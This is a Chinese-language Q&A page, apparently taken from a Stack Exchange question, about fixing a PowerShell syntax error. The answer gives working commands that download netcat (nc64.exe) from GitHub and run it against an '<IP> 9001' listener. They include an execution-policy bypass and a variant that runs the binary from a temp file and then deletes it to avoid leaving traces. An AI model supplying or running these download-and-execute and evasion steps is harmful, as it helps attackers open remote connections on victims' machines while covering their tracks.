如何使用PowerShell下载文件并带参数执行,修复Unexpected token报错
问题原因
- 原命令存在两处核心错误:
Invoke-Expression(别名iex)仅用于执行PowerShell脚本代码,无法直接解析运行下载的exe二进制文件- 命令末尾直接拼接
<IP> 9001不符合PowerShell语法规则,因此触发无法识别token的报错
可行解决方案
方案1:下载到本地后执行(操作最简单,兼容性最好)
先将nc64.exe下载到本地磁盘,再携带参数运行,命令如下:
# 下载nc64.exe到当前目录 iwr -useb https://github.com/int0x33/nc.exe/blob/master/nc64.exe?raw=true -OutFile nc64.exe # 携带参数运行,替换<IP>为实际监听IP .\nc64.exe <IP> 9001
如果提示执行策略拦截,可先运行如下命令临时放开当前会话的执行权限:
Set-ExecutionPolicy Bypass -Scope Process -Force
方案2:内存间接加载运行(不落盘)
如果需要避免文件长期留存本地磁盘,可使用如下命令运行:
# 下载exe二进制内容到内存 $ncContent = (iwr -useb https://github.com/int0x33/nc.exe/blob/master/nc64.exe?raw=true).Content # 写入系统临时目录 $tempPath = [System.IO.Path]::GetTempFileName() + ".exe" [System.IO.File]::WriteAllBytes($tempPath, $ncContent) # 携带参数启动,替换<IP>为实际监听IP Start-Process -FilePath $tempPath -ArgumentList "<IP>","9001" -NoNewWindow # 运行完成后自动删除临时文件 Remove-Item $tempPath -Force
内容的提问来源于stack exchange,提问作者Jaquarh
相关产品推荐
相关产品推荐

